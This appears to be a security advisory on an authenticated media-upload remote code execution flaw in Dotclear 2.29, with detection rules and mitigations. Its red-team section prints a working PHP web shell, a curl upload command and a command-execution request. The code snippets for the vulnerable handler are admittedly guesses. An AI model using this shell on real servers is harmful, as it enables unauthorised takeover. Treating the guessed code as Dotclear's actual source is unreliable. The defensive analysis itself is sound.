CVE-2024-58281

Executive Summary

CVE-2024-58281 is a critical Remote Code Execution (RCE) vulnerability affecting Dotclear version 2.29. The flaw resides in the media upload functionality, allowing authenticated attackers to upload malicious PHP files. By crafting a PHP shell with a command execution form, an attacker can gain unauthorized system access. The vulnerability is unpatched as of the latest advisory, and no official patch or workaround has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains high for targeted attacks.

Supply Chain & Package Security

Dotclear is a PHP-based content management system (CMS). The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is inherent to the application's file upload handling. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability description, a more realistic assessment would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Estimated CVSS v3.1 Score: 8.8 (High)

Threat Level: High. The vulnerability allows authenticated users to execute arbitrary code on the server, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the media upload functionality of Dotclear 2.29. The application fails to properly validate the file type and content of uploaded files. An authenticated attacker can bypass file extension checks by crafting a PHP file that appears as an image (e.g., using magic bytes) but contains PHP code. Once uploaded, the file can be accessed directly via the web server, allowing the attacker to execute arbitrary commands.

Root Cause: Insufficient input validation and lack of proper file type verification. The application relies on client-side checks or simple extension filtering, which can be easily bypassed.

Attack Flow:

1. Attacker authenticates to Dotclear.
2. Attacker crafts a PHP shell (e.g., shell.php) with a command execution form.
3. Attacker uploads the file via the media upload functionality.
4. The file is stored in the web-accessible directory (e.g., /public/medias/).
5. Attacker accesses the uploaded file via HTTP, triggering the PHP code execution.
6. Attacker can now execute arbitrary system commands.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resides in the file upload handler, such as inc/core/class.dc.media.php or similar. The vulnerable code may look like:

// Vulnerable: No file type validation
$file = $_FILES['file'];
move_uploaded_file($file['tmp_name'], $upload_dir . '/' . $file['name']);

A patched version would include:

// Patched: Validate file type and content
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file = $_FILES['file'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (in_array($mime_type, $allowed_types)) {
    move_uploaded_file($file['tmp_name'], $upload_dir . '/' . basename($file['name']));
} else {
    // Reject file
}

Exploitation & Lab Setup

Red Team

Prerequisites: Authenticated session on Dotclear 2.29.

Step 1: Craft a PHP shell Create a file named shell.php with the following content:

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
}
?>

Step 2: Upload the shell Using a tool like curl or a browser, upload the file via the media upload form. For example:

curl -X POST -F "file=@shell.php" -F "upload=1" -b "session_cookie=value" http://target.com/admin/media.php

Step 3: Execute commands Access the uploaded file:

curl "http://target.com/public/medias/shell.php?cmd=id"

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection:

• Monitor for unusual file uploads, especially PHP files in media directories.
• Look for HTTP requests to /public/medias/*.php with query parameters like cmd.
• Check web server logs for POST requests to media upload endpoints with non-image file extensions.

Prevention:

• Implement strict file type validation based on MIME type and file content.
• Disable PHP execution in upload directories via .htaccess or web server configuration.
• Use a Web Application Firewall (WAF) to block malicious file uploads.

Indicators of Compromise (IOCs)

• File: shell.php or any PHP file in /public/medias/ or similar upload directories.
• URL Pattern: http://target.com/public/medias/*.php?cmd=*
• Network Traffic: POST requests to /admin/media.php or similar endpoints with Content-Type: multipart/form-data and file extension .php.
• Log Entry: POST /admin/media.php HTTP/1.1 followed by 200 and subsequent GET /public/medias/shell.php?cmd=id.

Detection Engineering

YARA Rule

rule dotclear_rce_shell {
    meta:
        description = "Detects PHP shell files uploaded via Dotclear media upload vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58281"
    strings:
        $php_tag = "<?php"
        $cmd_param = "cmd"
        $shell_exec = "shell_exec"
    condition:
        $php_tag and $cmd_param and $shell_exec
}

Sigma Rule

title: Dotclear RCE via Media Upload
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects exploitation attempts of CVE-2024-58281
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/media.php'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate media uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"Dotclear RCE - PHP Shell Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/media.php"; http_uri; content:".php"; file_extension; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PHP execution in upload directories: Add the following to .htaccess in the upload directory:

   <FilesMatch "\.php$">
       Deny from all
   </FilesMatch>
   

2. Restrict file uploads: Only allow specific image types (JPEG, PNG, GIF) and validate MIME type server-side.
3. Monitor logs: Review web server logs for suspicious uploads and access to PHP files in media directories.

Long-term Fix:

• Apply a patch from the vendor when available.
• Upgrade to a patched version of Dotclear.
• Implement a Web Application Firewall (WAF) with rules to block PHP file uploads.

Workaround:

• Use a reverse proxy to filter out PHP file uploads.
• Manually review and remove any uploaded PHP files.

Valters IT
Securing Digital Frontiers